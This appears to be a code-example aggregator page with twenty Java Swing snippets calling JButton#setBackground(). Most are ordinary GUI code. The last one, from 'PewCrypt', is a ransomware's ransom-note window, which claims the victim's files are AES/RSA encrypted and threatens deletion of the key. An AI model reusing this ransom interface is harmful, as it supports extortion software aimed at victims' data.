Java Code Examples for javax.swing.JButton#setBackground()

The following examples show how to use javax.swing.JButton#setBackground() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: SignIn.java    From dctb-utfpr-2018-1 with Apache License 2.0 6 votes vote down vote up
public JButton styleButtons(){
    JButton submit = new JButton();
    Color colorForeground = new Color(0x8D8D8D);
    Color colorBackground = new Color(0xF1F1F1);
    submit.setForeground(colorForeground);
    submit.setBackground(colorBackground);
    Border line = new LineBorder(colorForeground);
    Border margin = new EmptyBorder(5, 15, 5, 15);
    Border compound = new CompoundBorder(line, margin);
    submit.setBorder(compound);
    submit.setAlignmentX(Component.CENTER_ALIGNMENT);
    return submit;
}
 
Example 2
Source File: RefreshUrlPage.java    From xdm with GNU General Public License v2.0 5 votes vote down vote up
private JButton createButton1(String name, int x, int y) {
	JButton btn = new CustomButton(StringResource.get(name));
	btn.setBackground(ColorResource.getDarkBtnColor());
	btn.setBorderPainted(false);
	btn.setFocusPainted(false);
	btn.setForeground(Color.WHITE);
	btn.setFont(FontResource.getNormalFont());
	Dimension d = btn.getPreferredSize();
	btn.setBounds(x, y, d.width, d.height);
	// btn.addActionListener(this);
	return btn;
}
 
Example 3
Source File: TFormExchange.java    From jclic with GNU General Public License v2.0 5 votes vote down vote up
public TFormExchange(int x, int y, int dx, int dy, String btnText, Color c1, Color c2) {
  setUndecorated(true);
  setResizable(false);
  setLocation(x, y);
  setSize(dx, dy);
  colorA = c1;
  colorB = c2;
  exchangeBtn = new JButton();
  exchangeBtn.setText(btnText);
  exchangeBtn.setBackground(colorA);
  getContentPane().add(exchangeBtn);
  setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
  setAlwaysOnTop(true);
}
 
Example 4
Source File: SignIn.java    From dctb-utfpr-2018-1 with Apache License 2.0 5 votes vote down vote up
public JButton styleButtons(){
    JButton submit = new JButton();
    Color colorForeground = new Color(0x8D8D8D);
    Color colorBackground = new Color(0xF1F1F1);
    submit.setForeground(colorForeground);
    submit.setBackground(colorBackground);
    Border line = new LineBorder(colorForeground);
    Border margin = new EmptyBorder(5, 15, 5, 15);
    Border compound = new CompoundBorder(line, margin);
    submit.setBorder(compound);
    submit.setAlignmentX(Component.CENTER_ALIGNMENT);
    return submit;
}
 
Example 5
Source File: HistoryColorChooserPanel.java    From nextreports-designer with Apache License 2.0 5 votes vote down vote up
private JButton makeColorButton(String name) {
    JButton button = new JButton(name);
    button.setPreferredSize(btnDim);
    button.setMinimumSize(btnDim);
    button.setMaximumSize(btnDim);        
    button.setBorder(BorderFactory.createCompoundBorder(
            BorderFactory.createLineBorder(Color.WHITE),
            BorderFactory.createRaisedBevelBorder()));        
    button.setBackground(Color.GRAY);
    button.setEnabled(false);        
    return button;
}
 
Example 6
Source File: FatalErrorDialog.java    From launcher with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public FatalErrorDialog addButton(String message, Runnable action)
{
	JButton button = new JButton(message);
	button.addActionListener(e -> action.run());
	button.setFont(font);
	button.setBackground(DARK_GRAY_COLOR);
	button.setForeground(Color.LIGHT_GRAY);
	button.setBorder(BorderFactory.createCompoundBorder(
		BorderFactory.createMatteBorder(1, 0, 0, 0, DARK_GRAY_COLOR.brighter()),
		new EmptyBorder(4, 4, 4, 4)
	));
	button.setAlignmentX(Component.CENTER_ALIGNMENT);
	button.setMaximumSize(new Dimension(Integer.MAX_VALUE, Integer.MAX_VALUE));
	button.setFocusPainted(false);
	button.addChangeListener(ev ->
	{
		if (button.getModel().isPressed())
		{
			button.setBackground(DARKER_GRAY_COLOR);
		}
		else if (button.getModel().isRollover())
		{
			button.setBackground(DARK_GRAY_HOVER_COLOR);
		}
		else
		{
			button.setBackground(DARK_GRAY_COLOR);
		}
	});

	rightColumn.add(button);
	rightColumn.revalidate();

	return this;
}
 
Example 7
Source File: SkinSpecPanel.java    From megamek with GNU General Public License v2.0 5 votes vote down vote up
private void resetColorButtons(SkinSpecification skinSpec) {
    // Listeners must already be removed before calling this!
    colorButtons.clear();
    for (Color c : skinSpec.fontColors) {
        JButton colorButton = new JButton();
        colorButton.setMaximumSize(new Dimension(14, 14));
        colorButton.setPreferredSize(new Dimension(14, 14));
        colorButton.setForeground(c);
        colorButton.setBackground(c);
        colorButtons.add(colorButton);
    }
    // Don't add listeners, to prevent double add
}
 
Example 8
Source File: BrowserAddonDlg.java    From xdm with GNU General Public License v2.0 5 votes vote down vote up
private JButton createButton1(String name, int x, int y) {
	JButton btn = new CustomButton(StringResource.get(name));
	btn.setBackground(ColorResource.getDarkBtnColor());
	btn.setBorderPainted(false);
	btn.setFocusPainted(false);
	btn.setForeground(Color.WHITE);
	btn.setFont(FontResource.getNormalFont());
	Dimension d = btn.getPreferredSize();
	btn.setBounds(x, y, d.width, d.height);
	btn.addActionListener(this);
	return btn;
}
 
Example 9
Source File: ErrorDlg.java    From swift-explorer with Apache License 2.0 5 votes vote down vote up
private void initActions () 
 {
     okAction = new ReflectionAction<ErrorDlg>(getLocalizedString("Ok"), null, this, "onOk");        
     okButton = new JButton(okAction);
     
     exitAction = new ReflectionAction<ErrorDlg>(getLocalizedString("Exit"), null, this, "onExit");        
     exitButton = new JButton(exitAction);
     
     exitButton.setBackground(Color.RED);
     exitButton.setOpaque(true);
}
 
Example 10
Source File: MessageBox.java    From xdm with GNU General Public License v2.0 5 votes vote down vote up
void applyStyle(JButton btn) {
	btn.addActionListener(this);
	btn.setBackground(ColorResource.getDarkerBgColor());// );
	btn.setForeground(Color.WHITE);
	btn.setFocusable(true);
	// btn.setForeground(Color.WHITE);
	btn.setFont(FontResource.getBigFont());
	btn.setBorderPainted(false);
	btn.setMargin(new Insets(0, 0, 0, 0));
	// btn.setFocusPainted(false);
	btn.getInputMap(WHEN_FOCUSED).put(KeyStroke.getKeyStroke("ENTER"), "pressed");
	btn.getInputMap(WHEN_FOCUSED).put(KeyStroke.getKeyStroke("released ENTER"), "released");
}
 
Example 11
Source File: XDMComboBoxUI.java    From xdm with GNU General Public License v2.0 5 votes vote down vote up
protected JButton createArrowButton() {
	JButton button = new CustomButton();
	button.setBackground(ColorResource.getDarkBgColor());
	button.setIcon(ImageResource.getIcon("down.png", 10, 10));
	button.setBorderPainted(false);
	button.setFocusPainted(false);
	button.setName("ComboBox.arrowButton");
	return button;
}
 
Example 12
Source File: AlignmentPanel.java    From AML-Project with Apache License 2.0 4 votes vote down vote up
/**
 * Refreshes the AlignmentReviewer
 */
public void refresh()
{
	dialogPanel = new JPanel();
	dialogPanel.setLayout(new BoxLayout(dialogPanel, BoxLayout.PAGE_AXIS));
	if(aml.hasAlignment())
	{
		//The header button panel
		selectAll = new JCheckBox("Select All/None");
		selectAll.addItemListener(this);
		setCorrect = new JButton("Set Correct");
		setCorrect.setBackground(AMLColor.GREEN);
		setCorrect.setPreferredSize(new Dimension(110,28));
		setCorrect.addActionListener(this);
		reset = new JButton("Reset");
		reset.setBackground(AMLColor.GRAY);
		reset.setPreferredSize(new Dimension(110,28));
		reset.addActionListener(this);
		setIncorrect = new JButton("Set Incorrect");
		setIncorrect.setBackground(AMLColor.RED);
		setIncorrect.setPreferredSize(new Dimension(110,28));
		setIncorrect.addActionListener(this);
		sortAsc = new JButton("Sort \u2191");
		sortAsc.setPreferredSize(new Dimension(110,28));
		sortAsc.addActionListener(this);
		sortDes = new JButton("Sort \u2193");
		sortDes.setPreferredSize(new Dimension(110,28));
		sortDes.addActionListener(this);
		search = new JButton("Search");
		search.setPreferredSize(new Dimension(110,28));
		search.addActionListener(this);
		headerPanel = new JPanel(new FlowLayout());
		headerPanel.setMaximumSize(new Dimension(headerPanel.getMaximumSize().width,30));
		JPanel left = new JPanel();
		left.setBorder(new BevelBorder(1));
		left.add(selectAll);
		left.add(setCorrect);
		left.add(reset);
		left.add(setIncorrect);
		headerPanel.add(left);
		JPanel right = new JPanel();
		right.setBorder(new BevelBorder(1));
		right.add(sortAsc);
		right.add(sortDes);
		right.add(search);
		headerPanel.add(right);
		
		//The mapping list
		mappingPanel = new JPanel(new GridLayout(0,1));
		a = aml.getAlignment();
		check = new Vector<JCheckBox>();
		mappings = new Vector<MappingButton>(a.size());
		mappingPanel.setMaximumSize(new Dimension(mappingPanel.getMaximumSize().width,a.size()*30));
		for(Mapping m : a)
		{
			JCheckBox c = new JCheckBox(""); 
			check.add(c);
			MappingButton b = new MappingButton(m);
			mappings.add(b);
			b.addActionListener(this);
			JPanel subPanel = new JPanel(new BorderLayout());
			subPanel.add(c,BorderLayout.LINE_START);
			JPanel subSubPanel = new JPanel(new BorderLayout());
			subSubPanel.add(b,BorderLayout.LINE_START);
			subPanel.add(subSubPanel, BorderLayout.CENTER);
			subPanel.setMaximumSize(new Dimension(subPanel.getMaximumSize().width,28));
			subPanel.setPreferredSize(new Dimension(subPanel.getPreferredSize().width,28));
			mappingPanel.add(subPanel);
		}
		JPanel alignment = new JPanel();
		alignment.setLayout(new BoxLayout(alignment, BoxLayout.PAGE_AXIS));
		alignment.add(mappingPanel);
		JPanel filler = new JPanel();
		alignment.add(filler);
		scrollPane = new JScrollPane(alignment);
		scrollPane.setBorder(new BevelBorder(1));
		scrollPane.getVerticalScrollBar().setUnitIncrement(28);
		scrollPane.setBackground(AMLColor.WHITE);
		dialogPanel.add(headerPanel);
		dialogPanel.add(scrollPane);
	}
	setContentPane(dialogPanel);
	dialogPanel.revalidate();
	dialogPanel.repaint();
	this.pack();
	this.setVisible(true);
}
 
Example 13
Source File: PoliticalStateOverview.java    From triplea with GNU General Public License v3.0 4 votes vote down vote up
private JComponent getRelationshipComponent(
    final GamePlayer player1, final GamePlayer player2, final RelationshipType relType) {
  if (!editable) {
    return new JLabel(relType.getName());
  }

  final JButton button = new JButton(relType.getName());
  button.addActionListener(
      e -> {
        final List<RelationshipType> types =
            new ArrayList<>(data.getRelationshipTypeList().getAllRelationshipTypes());
        types.remove(data.getRelationshipTypeList().getNullRelation());
        types.remove(data.getRelationshipTypeList().getSelfRelation());
        final Object[] possibilities = types.toArray();
        final RelationshipType chosenRelationship =
            (RelationshipType)
                JOptionPane.showInputDialog(
                    PoliticalStateOverview.this,
                    "Change Current Relationship between "
                        + player1.getName()
                        + " and "
                        + player2.getName(),
                    "Change Current Relationship",
                    JOptionPane.PLAIN_MESSAGE,
                    null,
                    possibilities,
                    relType);
        if (chosenRelationship != null) {
          // remove any old ones
          editChanges.removeIf(
              changesSoFar ->
                  (player1.equals(changesSoFar.getFirst())
                          && player2.equals(changesSoFar.getSecond()))
                      || (player2.equals(changesSoFar.getFirst())
                          && player1.equals(changesSoFar.getSecond())));

          // see if there is actually a change
          data.acquireReadLock();
          final RelationshipType actualRelationship;
          try {
            actualRelationship =
                data.getRelationshipTracker().getRelationshipType(player1, player2);
          } finally {
            data.releaseReadLock();
          }
          if (!chosenRelationship.equals(actualRelationship)) {
            // add new change
            editChanges.add(Triple.of(player1, player2, chosenRelationship));
          }
          // redraw everything
          redrawPolitics();
        }
      });
  button.setBackground(getRelationshipTypeColor(relType));
  return button;
}
 
Example 14
Source File: JButtonFactory.java    From WorldGrower with GNU General Public License v3.0 4 votes vote down vote up
public static JButton createUntexturedButton(String text) {
	JButton button = new JButton(text);
	setButtonProperties(button);
	button.setBackground(ColorPalette.DARK_BACKGROUND_COLOR);
	return button;
}
 
Example 15
Source File: InterpolatingLookupPaintScaleSetupDialog.java    From mzmine2 with GNU General Public License v2.0 4 votes vote down vote up
public InterpolatingLookupPaintScaleSetupDialog(JFrame parent,
    InterpolatingLookupPaintScale paintScale) {
  super(parent, "Select colors for paint scale", true);

  Double[] lookupValues = paintScale.getLookupValues();
  for (Double lookupValue : lookupValues) {
    Color color = (Color) paintScale.getPaint(lookupValue);
    lookupTable.put(lookupValue, color);
  }

  // Panel for controls and list
  JPanel panelControlsAndList = new JPanel(new BorderLayout());
  add(panelControlsAndList, BorderLayout.CENTER);

  // Sub-panel for controls
  JPanel panelControls = new JPanel(new BorderLayout());
  panelControlsAndList.add(panelControls, BorderLayout.NORTH);

  // Sub-sub panel for value and color chooser controls
  JPanel panelValueAndColor = new JPanel(new FlowLayout(FlowLayout.LEFT));
  panelControls.add(panelValueAndColor, BorderLayout.NORTH);

  JLabel labelValue = new JLabel("Value: ");
  panelValueAndColor.add(labelValue);
  fieldValue = new JFormattedTextField(NumberFormat.getNumberInstance());
  fieldValue.setColumns(VALUEFIELD_COLUMNS);
  panelValueAndColor.add(fieldValue);

  buttonColor = new JButton("Select color");
  buttonColor.setBackground(new Color(255, 255, 255));
  buttonColor.addActionListener(this);
  panelValueAndColor.add(buttonColor);

  // JPanel panelAddRemoveButtons = new JPanel(new
  // FlowLayout(FlowLayout.LEFT));
  buttonAddModify = new JButton("Add/Modify");
  buttonAddModify.addActionListener(this);
  buttonDelete = new JButton("Delete");
  buttonDelete.addActionListener(this);
  panelValueAndColor.add(new JPanel());
  panelValueAndColor.add(buttonAddModify);
  panelValueAndColor.add(buttonDelete);

  // Sub-panel for scrollpane & list
  JPanel panelList = new JPanel();

  tableModel = new InterpolatingLookupPaintScaleSetupDialogTableModel(lookupTable);
  tableLookupValues = new JTable(tableModel);
  tableLookupValues.getColumnModel().getColumn(1).setCellRenderer(
      new InterpolatingLookupPaintScaleSetupDialogTableCellRenderer(lookupTable));
  tableLookupValues.getSelectionModel().addListSelectionListener(this);

  panelControlsAndList.add(panelList, BorderLayout.CENTER);
  scrollpaneLookupValues = new JScrollPane(tableLookupValues);
  panelList.add(scrollpaneLookupValues);

  JPanel panelOKCancelButtons = new JPanel(new FlowLayout(FlowLayout.RIGHT));
  buttonOK = new JButton("OK");
  buttonOK.addActionListener(this);
  panelOKCancelButtons.add(buttonOK);
  buttonCancel = new JButton("Cancel");
  buttonCancel.addActionListener(this);
  panelOKCancelButtons.add(buttonCancel);

  panelControlsAndList.add(panelOKCancelButtons, BorderLayout.SOUTH);

  pack();
  setLocationRelativeTo(parent);
  setResizable(false);

}
 
Example 16
Source File: SpectraBottomPanel.java    From mzmine2 with GNU General Public License v2.0 4 votes vote down vote up
SpectraBottomPanel(SpectraVisualizerWindow masterFrame, RawDataFile dataFile) {

    super(new BorderLayout());
    this.dataFile = dataFile;
    this.masterFrame = masterFrame;

    setBackground(Color.white);

    topPanel = new JPanel();
    topPanel.setBackground(Color.white);
    topPanel.setLayout(new BoxLayout(topPanel, BoxLayout.X_AXIS));
    add(topPanel, BorderLayout.CENTER);

    topPanel.add(Box.createHorizontalStrut(10));

    JButton prevScanBtn =
        GUIUtils.addButton(topPanel, leftArrow, null, masterFrame, "PREVIOUS_SCAN");
    prevScanBtn.setBackground(Color.white);
    prevScanBtn.setFont(smallFont);

    topPanel.add(Box.createHorizontalGlue());

    GUIUtils.addLabel(topPanel, "Feature list: ", SwingConstants.RIGHT);

    peakListSelector = new JComboBox<PeakList>();
    peakListSelector.setBackground(Color.white);
    peakListSelector.setFont(smallFont);
    peakListSelector.addActionListener(masterFrame);
    peakListSelector.setActionCommand("PEAKLIST_CHANGE");
    topPanel.add(peakListSelector);


    processingCbx = GUIUtils.addCheckbox(topPanel, "Enable Processing", masterFrame,
        "ENABLE_PROCESSING", "Enables quick scan processing.");
    processingCbx.setBackground(Color.white);
    processingCbx.setFont(smallFont);
    updateProcessingCheckbox();

    processingParametersBtn = GUIUtils.addButton(topPanel, "Spectra processing", null,
        masterFrame, "SET_PROCESSING_PARAMETERS", "Set the parameters for quick spectra processing.");
    processingParametersBtn.setBackground(Color.white);
    processingParametersBtn.setFont(smallFont);
    updateProcessingButton();

    topPanel.add(Box.createHorizontalGlue());

    JButton nextScanBtn = GUIUtils.addButton(topPanel, rightArrow, null, masterFrame, "NEXT_SCAN");
    nextScanBtn.setBackground(Color.white);
    nextScanBtn.setFont(smallFont);

    topPanel.add(Box.createHorizontalStrut(10));

    bottomPanel = new JPanel();
    bottomPanel.setBackground(Color.white);
    bottomPanel.setLayout(new BoxLayout(bottomPanel, BoxLayout.X_AXIS));
    add(bottomPanel, BorderLayout.SOUTH);

    bottomPanel.add(Box.createHorizontalGlue());

    GUIUtils.addLabel(bottomPanel, "MS/MS: ", SwingConstants.RIGHT);

    msmsSelector = new JComboBox<String>();
    msmsSelector.setBackground(Color.white);
    msmsSelector.setFont(smallFont);
    bottomPanel.add(msmsSelector);

    JButton showButton = GUIUtils.addButton(bottomPanel, "Show", null, masterFrame, "SHOW_MSMS");
    showButton.setBackground(Color.white);
    showButton.setFont(smallFont);

    bottomPanel.add(Box.createHorizontalGlue());

  }
 
Example 17
Source File: LuckInternalFrameTitlePane.java    From littleluck with Apache License 2.0 4 votes vote down vote up
/**
 * set Button attribute.
 *
 * @param btn Button object.
 * @param normalIcon  button icon properties.
 * @param rollverIcon button icon properties when mouse over.
 * @param pressedIcon button icon properties when mouse click.
 */
private void setBtnAtrr(JButton btn,
                        String normalIcon,
                        String rollverIcon,
                        String pressedIcon)
{
    btn.setBorder(null);

    btn.setFocusPainted(false);

    btn.setFocusable(false);

    btn.setBackground(null);

    btn.setContentAreaFilled(false);

    btn.setEnabled(false);

    btn.setIcon(UIManager.getIcon(normalIcon));

    btn.setRolloverIcon(UIManager.getIcon(rollverIcon));

    btn.setPressedIcon(UIManager.getIcon(pressedIcon));

    btn.setEnabled(true);
}
 
Example 18
Source File: ListFrame.java    From JavaMainRepo with Apache License 2.0 4 votes vote down vote up
public ListFrame(String title) {
	super(title);

	SpringLayout slPane = new SpringLayout();
	contentPanel.setLayout(slPane);

	// Description panel

	animalDescriptionLabels = new LinkedList<JLabel>();
	animalDataLabels = new LinkedList<JLabel>();
	// GridLayout for panel
	animalPlanet = new JPanel();
	animalPlanet.setBackground(LIGHT_GREY);
	animalPlanet.setLayout(new GridLayout(8, 2, 5, 5));
	// Adding the description fields
	for (int i = 0; i < 8; i++) {
		JLabel newDesc = new JLabel();
		if (i < 6) {
			newDesc.setFont(DEFAULT_FONT);
		} else {
			newDesc.setFont(BOLD_FONT);
		}
		animalDescriptionLabels.add(newDesc);
		animalPlanet.add(newDesc);

		JLabel newData = new JLabel();
		if (i < 6) {
			newData.setFont(DEFAULT_FONT);
		} else {
			newData.setFont(BOLD_FONT);
		}
		animalDataLabels.add(newData);
		animalPlanet.add(newData);
	}

	slPane.putConstraint(SpringLayout.WEST, animalPlanet, 0, SpringLayout.WEST, contentPanel);
	slPane.putConstraint(SpringLayout.EAST, animalPlanet, 0, SpringLayout.EAST, contentPanel);
	contentPanel.add(animalPlanet);

	// Delete button and check box

	btnDelete = new JButton("Delete");
	btnDelete.setEnabled(false);
	btnDelete.setBackground(SOMETHING_REDISH);
	slPane.putConstraint(SpringLayout.NORTH, btnDelete, 5, SpringLayout.SOUTH, animalPlanet);
	slPane.putConstraint(SpringLayout.WEST, btnDelete, 0, SpringLayout.WEST, contentPanel);
	contentPanel.add(btnDelete);

	cbDelete = new JCheckBox("Enable Deletion");
	cbDelete.setBackground(NOT_LIGHT_GREY);
	slPane.putConstraint(SpringLayout.NORTH, cbDelete, 5, SpringLayout.SOUTH, animalPlanet);
	slPane.putConstraint(SpringLayout.WEST, cbDelete, 5, SpringLayout.EAST, btnDelete);
	contentPanel.add(cbDelete);

	btnDeleteAll = new JButton("Delete All");
	btnDeleteAll.setEnabled(false);
	btnDeleteAll.setBackground(SOMETHING_REDISH);
	slPane.putConstraint(SpringLayout.NORTH, btnDeleteAll, 5, SpringLayout.SOUTH, animalPlanet);
	slPane.putConstraint(SpringLayout.EAST, btnDeleteAll, 0, SpringLayout.EAST, contentPanel);
	contentPanel.add(btnDeleteAll);

	cbDeleteAll = new JCheckBox("Enable Complete Anihilation");
	cbDeleteAll.setBackground(NOT_LIGHT_GREY);
	cbDeleteAll.setEnabled(false);
	slPane.putConstraint(SpringLayout.NORTH, cbDeleteAll, 5, SpringLayout.SOUTH, animalPlanet);
	slPane.putConstraint(SpringLayout.EAST, cbDeleteAll, -5, SpringLayout.WEST, btnDeleteAll);
	contentPanel.add(cbDeleteAll);

	// Selection list
	animalScrollPane = new JScrollPane();

	if (ZooData.getAnimalListSize() > 0) {
		animalList = new JList<String>(ZooData.getAnimalListNames());
	} else {
		animalList = new JList<String>(new String[] { "Empty" });
		setEmptyDescription();
	}
	animalList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
	animalList.setBackground(LIGHT_GREY);
	animalScrollPane.setViewportView(animalList);

	slPane.putConstraint(SpringLayout.NORTH, animalScrollPane, 5, SpringLayout.SOUTH, btnDelete);
	slPane.putConstraint(SpringLayout.WEST, animalScrollPane, 0, SpringLayout.WEST, contentPanel);
	slPane.putConstraint(SpringLayout.EAST, animalScrollPane, 0, SpringLayout.EAST, contentPanel);
	slPane.putConstraint(SpringLayout.SOUTH, animalScrollPane, 0, SpringLayout.SOUTH, contentPanel);
	contentPanel.add(animalScrollPane);
}
 
Example 19
Source File: OrderBook.java    From btdex with GNU General Public License v3.0 4 votes vote down vote up
private void addOrders(DefaultTableModel model, ArrayList<AssetOrder> orders, int[] cols) {
	Globals g = Globals.getInstance();
	pendingIconRotating.clearCells(model);
	int row = 0;
	for (; row < orders.size(); row++) {
		AssetOrder o = orders.get(row);

		// price always come in Burst, so no problem in this division using long's
		long price = o.getPrice().longValue();
		long amountToken = o.getQuantity().longValue();

		if(price == 0 || amountToken == 0)
			continue;

		String priceFormated = NumberFormatting.BURST.format(price*market.getFactor());
		JButton b = new ActionButton(this, priceFormated, o, false);
		if(o.getAccountAddress().equals(g.getAddress()) && o.getAssetId() != null) {
			b = new ActionButton(this, priceFormated, o, true);
			b.setIcon(cancelIcon);
		}
		if(o.getId() == null || o.getAssetId() == null) {
			b.setIcon(pendingIconRotating);
			pendingIconRotating.addCell(model, row, cols[OrderBookSettings.COL_PRICE]);
		}
		b.setBackground(o.getType() == AssetOrder.OrderType.ASK ? HistoryPanel.RED : HistoryPanel.GREEN);
		model.setValueAt(b, row, cols[OrderBookSettings.COL_PRICE]);

		model.setValueAt(market.format(amountToken), row, cols[OrderBookSettings.COL_SIZE]);
		model.setValueAt(NumberFormatting.BURST.format(amountToken*price), row, cols[OrderBookSettings.COL_TOTAL]);

		ExplorerButton exp = null;
		if(o.getId()!=null) {
			exp = new ExplorerButton(o.getId().getID(), copyIcon, expIcon, BUTTON_EDITOR);
			if(o.getAccountAddress().equals(g.getAddress()) && o.getAssetId() != null) {
				JButton cancel = new ActionButton(this, "", o, true);
				cancel.setIcon(cancelIcon);
				exp.add(cancel, BorderLayout.WEST);
			}
		}
		model.setValueAt(exp, row, cols[OrderBookSettings.COL_CONTRACT]);
	}
}
 
Example 20
Source File: UI.java    From PewCrypt with MIT License 4 votes vote down vote up
/**
 * Initialise the contents of the frame.
 */
private void initialize() {

	byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);

	try {

		img = ImageIO.read(new ByteArrayInputStream(imageBytes));

	} catch (IOException e1) {

		e1.printStackTrace();

	}

	frmYourFilesHave = new JFrame();
	frmYourFilesHave.setResizable(false);
	frmYourFilesHave.setIconImage(img);
	frmYourFilesHave.setTitle("PewCrypt");
	frmYourFilesHave.setType(Type.POPUP);
	frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
	frmYourFilesHave.setBounds(100, 100, 1247, 850);
	frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
	frmYourFilesHave.getContentPane().setLayout(null);

	txtYourFilesHave = new JTextField();
	txtYourFilesHave.setBounds(0, 0, 1215, 45);
	txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
	txtYourFilesHave.setBackground(Color.BLACK);
	txtYourFilesHave.setForeground(Color.RED);
	txtYourFilesHave.setEditable(false);
	txtYourFilesHave.setText("Your Files Have Been Encrypted!");
	frmYourFilesHave.getContentPane().add(txtYourFilesHave);
	txtYourFilesHave.setColumns(10);

	JTextArea Instructions = new JTextArea();
	Instructions.setBounds(0, 242, 1215, 203);
	Instructions.setEditable(false);
	Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
	Instructions.setBackground(Color.BLACK);
	Instructions.setForeground(Color.RED);
	Instructions.setText(
			"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
	frmYourFilesHave.getContentPane().add(Instructions);

	progressBarPEW.setMaximum(100000000);
	progressBarPEW.setForeground(new Color(0, 153, 204));
	progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
	progressBarPEW.setBackground(Color.DARK_GRAY);
	progressBarPEW.setBounds(0, 85, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarPEW);

	progressBarT.setMaximum(100000000);
	progressBarT.setForeground(new Color(204, 0, 0));
	progressBarT.setToolTipText("T-Series Sub Progress Bar");
	progressBarT.setBackground(Color.DARK_GRAY);
	progressBarT.setBounds(0, 186, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarT);

	JButton btnNewButton = new JButton(new ImageIcon(img));
	btnNewButton.setBackground(Color.BLACK);
	btnNewButton.addActionListener(new ActionListener() {
		public void actionPerformed(ActionEvent arg0) {

			try {

				// open Pewdiepie channel
				Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));

			} catch (IOException | URISyntaxException e) {

				e.printStackTrace();
			}
		}
	});
	btnNewButton.setBounds(491, 485, 241, 249);
	btnNewButton.setBorderPainted(false);
	btnNewButton.setFocusPainted(false);
	btnNewButton.setContentAreaFilled(false);
	frmYourFilesHave.getContentPane().add(btnNewButton);

	lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
	lblPewdiepie.setForeground(Color.RED);
	lblPewdiepie.setBounds(0, 47, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblPewdiepie);

	lblT.setHorizontalAlignment(SwingConstants.CENTER);
	lblT.setForeground(Color.RED);
	lblT.setBounds(0, 144, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblT);
}